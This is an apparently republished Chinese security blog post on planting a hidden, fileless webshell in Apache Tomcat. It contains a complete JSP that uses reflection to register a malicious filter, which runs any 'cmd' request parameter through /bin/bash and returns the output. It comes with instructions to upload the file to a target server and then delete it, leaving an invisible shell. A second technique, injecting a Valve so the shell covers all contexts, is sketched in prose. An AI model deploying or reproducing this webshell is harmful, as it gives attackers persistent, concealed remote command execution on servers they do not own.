抱著隱藏 shell 的目的去調試的 tomcat 的代碼。我調試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉發至 Jsp/Servlet 的全過程,找到了兩個較為容易實現的方法(肯定還有其它的方法),這里記錄一其中一個。另一個也很類似所以只記錄一下思路。
1. 運行時動態插入過濾器
過濾器的基礎概念以及作用這里不寫了。
Servlet 規范(應該是從3.0 開始)里面本身規定了一個名為ServletContext 的接口,其中有三個重載方法:
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
這三個方法使得我們可以在運行時動態地添加過濾器。
Tomcat 對 ServletContext 接口的實現類為:org.apache.catalina.core.ApplicationContextFacade
但是并沒有簡單到直接調用一下這可以實現,因為 Tomcat 在對這個接口的實現中,是只允許在容器還沒有初始化完成的時候調用這幾個方法。一旦容器初始化已經結束,調用時就會出現異常:

我看了一下這個 if 之后的語句,并不是太復雜,這使得我們完全可以自己用代碼來執行后面的邏輯。寫的過程也沒有太順利,我完全復制了后面的邏輯,但是動態插入過濾器卻沒有生效。所以去重新調試了一遍tomcat 接收處理請求的全過程,發現為請求組裝filterChain 是在 StandardWrapperValve 里面進行的:

真正的組裝方法位于:
org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
代碼太長不截圖了,有興趣的可以自己去看。
組裝完成后開始調用過濾器鏈。

我將org.apache.catalina.core.ApplicationFilterFactory#createFilterChain方法內的細節與自己寫的插入過濾器的細節做了對比,得出下面這個可以在Tomcat 8 (Tomcat 7 上的話需要小改一下)下實現我想要的目的 Jsp文件。直接看代碼吧:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";
ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);
f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);
if (filterConfigs.get(name) == null) {
out.println("inject "+ name);
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardCtx.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardCtx.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
filterConfigs.put(name, filterConfig);
out.println("injected");
}
%>
</body>
</html>
將以上 JSP 文件上傳至目標服務器命名為 n1ntyfilter.jsp,訪問后如果看到“injected” 字樣,說明我們的過濾器已經插入成功,隨后可以將此 jsp 文件刪掉。隨后,任何帶有 cmd 參數的請求都會被此過濾器攔下來,并執行 shell 命令,達到“看不見的 shell”的效果。

2. 動態插入 Valve
Valve 是 Tomcat 中的用于對Container 組件(Engine/Host/Context/Wrapper)進行擴展一種機制。通常是多個Valve組裝在一起放在Pipeline 里面。Tomcat 中 Container 類型的組件之間的上下級調用基本上都是通過pipeline 與 valve 完成的。如果你熟悉 Struts2 中的攔截器機制,那么你會很容易理解valve + pipeline 的動作方式。Pipeline 就相當于攔截器鏈,而valve就相當于攔截器。
Valve 接口定義了如下的 invoke 方法:
publicvoid invoke(Request request, Response response)
throws IOException, ServletException;
我們只需在運行時向 Engine/Host/Context/Wrapper 這四種 Container 組件中的任意一個的pipeline 中插入一個我們自定義的 valve,在其中對相應的請求進行攔截并執行我們想要的功能,就可以達到與上面Filter 的方式一樣的效果。而且 filter 只對當前context 生效,而valve 如果插到最頂層的container 也就是 Engine,則會對 Engine 下的所有的context 生效。
以上兩種方式,利用的時候都必須是通過 HTTP 的方式去真正地發起一個請求,因為在這些流程之前,Tomcat會檢查接收自socket的前幾個字節是不是符合HTTP 協議的要求,雖然被請求的文件可以不存在。如果想利用非HTTP 協議,則需要在tomcat 的Connector 上做手腳,這個復雜度就比以上兩種方式要高很多了。
以上兩種方式都會在 Tomcat 重啟后失效。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/457/
暫無評論